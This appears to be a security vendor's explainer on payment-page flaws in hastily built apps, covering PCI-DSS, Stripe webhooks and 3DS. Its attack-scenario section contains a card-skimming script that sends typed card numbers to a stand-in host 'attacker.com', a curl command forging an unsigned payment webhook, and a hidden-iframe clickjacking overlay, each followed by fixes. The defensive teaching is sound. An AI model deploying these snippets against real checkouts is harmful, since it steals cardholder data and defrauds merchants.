Payment Security (PCI-DSS)
Vibe-coded checkout pages frequently expose raw card inputs in the DOM, skip 3DS/SCA authentication, and forget to verify Stripe webhook signatures — turning a payment form into a data exfiltration endpoint.
What Is Payment Security?
When vibe-coded apps add payment processing, they typically drop in a Stripe or PayPal snippet and move on. The result is often a checkout page that looks secure but contains critical PCI-DSS violations — raw card fields accessible to JavaScript, missing clickjacking protection, or webhooks that accept any POST without verifying the sender.
VibeWShield's Payment Security scanner auto-detects payment pages by URL path (/pay, /checkout, /billing), subdomain (pay.*, checkout.*), and JavaScript signals (js.stripe.com, paypal.com/sdk/js), then runs 6 targeted checks plus a Claude AI phase.
Attack Scenarios
Formjacking — Skimming Card Data via JS
When card number inputs live directly in the DOM (not inside a Stripe Elements iframe), any JavaScript on the page can read them:
// A compromised npm package or ad script can do this:
document.querySelector('[name="cardnumber"]').addEventListener('input', e => {
fetch('https://attacker.com/collect', {
method: 'POST',
body: JSON.stringify({ card: e.target.value, site: location.hostname })
});
});Stripe Elements places card inputs inside a sandboxed cross-origin <iframe> specifically to prevent this. Raw DOM inputs have no such protection.
Fake Payment Event via Unauthenticated Webhook
Stripe signs every webhook with a Stripe-Signature header derived from your webhook secret. If your endpoint doesn't verify this signature:
# Anyone can POST a fake "payment_intent.succeeded" event
curl -X POST https://yourapp.com/api/stripe/webhook \
-H "Content-Type: application/json" \
-d '{"type":"payment_intent.succeeded","data":{"object":{"amount":9900,"status":"succeeded"}}}'The result: an attacker triggers order fulfillment, unlocks premium features, or resets subscription status — without paying anything.
Clickjacking — Invisible Payment Page Overlay
Without Content-Security-Policy: frame-ancestors 'self' or X-Frame-Options: SAMEORIGIN, an attacker can embed your payment page inside an invisible iframe on a fake site:
<iframe src="https://pay.yourapp.com/checkout" style="opacity:0; position:absolute; top:0; left:0; width:100%; height:100%;"></iframe>
<div>🎁 Click here to claim your prize!</div>When the victim clicks the fake button, they're actually clicking "Confirm Payment" on your invisible checkout page.
Legacy Stripe API — Bypassing 3DS Authentication
stripe.createToken() was deprecated in 2019. It creates a card token without triggering 3D Secure (3DS2) authentication, meaning the transaction bypasses the additional verification step required under PSD2 for European customers:
// ❌ Legacy — no 3DS
stripe.createToken(cardElement).then(result => {
submitToServer(result.token.id);
});
// ✅ Modern — 3DS triggered automatically when required
stripe.confirmCardPayment(clientSecret, {
payment_method: { card: cardElement }
});Chargebacks from 3DS-bypassed transactions fall on the merchant, not the issuing bank.
CVV Persistence — PCI-DSS Requirement 3.2 Violation
PCI-DSS explicitly prohibits storing CVV/CVC after authorization. Browser autocomplete caches form values including CVV fields:
<!-- ❌ CVV stored by browser -->
<input type="text" name="cvv" placeholder="123">
<!-- ✅ Correct -->
<input type="text" name="cvv" autocomplete="off" placeholder="123">If a device is shared or compromised, cached CVV values are accessible to other users or malware.
Raw Card Submission to Own Server
The most severe case: a checkout form that POSTs card fields directly to the merchant's own backend:
<!-- ❌ Card data going through your server = full PCI-DSS scope -->
<form action="/api/charge" method="POST">
<input name="card_number" />
<input name="expiry" />
<input name="cvv" />
</form>Any server that receives raw card numbers must comply with the full PCI-DSS SAQ D standard — extensive audits, penetration testing, quarterly scans, and strict infrastructure requirements. Most vibe-coded apps are nowhere near this compliance level.
What VibeWShield Checks
| Check | Severity | What We Detect |
|-------|----------|----------------|
| Iframe Sandboxing | HIGH | Raw <input> card fields in DOM vs Stripe Elements iframe |
| CSP frame-ancestors | MEDIUM | Missing clickjacking protection on payment pages |
| CVV Persistence | HIGH | autocomplete not disabled, localStorage writes near CVV fields |
| Webhook Auth | HIGH | POST to webhook endpoint returns 200 without Stripe-Signature |
| 3DS / SCA | MEDIUM | stripe.createToken() without confirmCardPayment() |
| Tokenization | CRITICAL | Form POSTing raw card fields to merchant's own domain |
After the rule-based checks, Claude AI analyzes the page's JavaScript for client-side price manipulation, custom card exfiltration endpoints, and non-standard payment SDK misuse.
How to Fix
Use Stripe Elements (Iframe Sandboxing)
const stripe = Stripe('pk_live_...');
const elements = stripe.elements();
const cardElement = elements.create('card');
cardElement.mount('#card-element');
// Card number is now inside a sandboxed iframe — your JS cannot read itVerify Webhook Signatures
// Node.js / Express
app.post('/webhook', express.raw({type: 'application/json'}), (req, res) => {
const sig = req.headers['stripe-signature'];
let event;
try {
event = stripe.webhooks.constructEvent(req.body, sig, process.env.STRIPE_WEBHOOK_SECRET);
} catch (err) {
return res.status(400).send(`Webhook Error: ${err.message}`);
}
// Now safe to process event
});Add Clickjacking Protection
# Nginx
add_header Content-Security-Policy "frame-ancestors 'self'" always;
add_header X-Frame-Options "SAMEORIGIN" always;
Migrate to confirmCardPayment (3DS)
const { error } = await stripe.confirmCardPayment(clientSecret, {
payment_method: {
card: cardElement,
billing_details: { name: customerName }
}
});Compliance Context
- PCI-DSS Requirement 3.2: Never store sensitive authentication data (CVV/CVC) after authorization
- PCI-DSS Requirement 6.4: Protect web-facing applications
- PSD2 / SCA: Strong Customer Authentication required for most EU card transactions over €30
- Stripe's recommendation: Use Payment Intents API (not Charges) for automatic 3DS handling
Free security scan
Test your app for Payment Security (PCI-DSS)
VibeWShield automatically checks for Payment Security (PCI-DSS) and 40+ other vulnerabilities using 63 scanners — in under 3 minutes, no signup required.
Scan your app free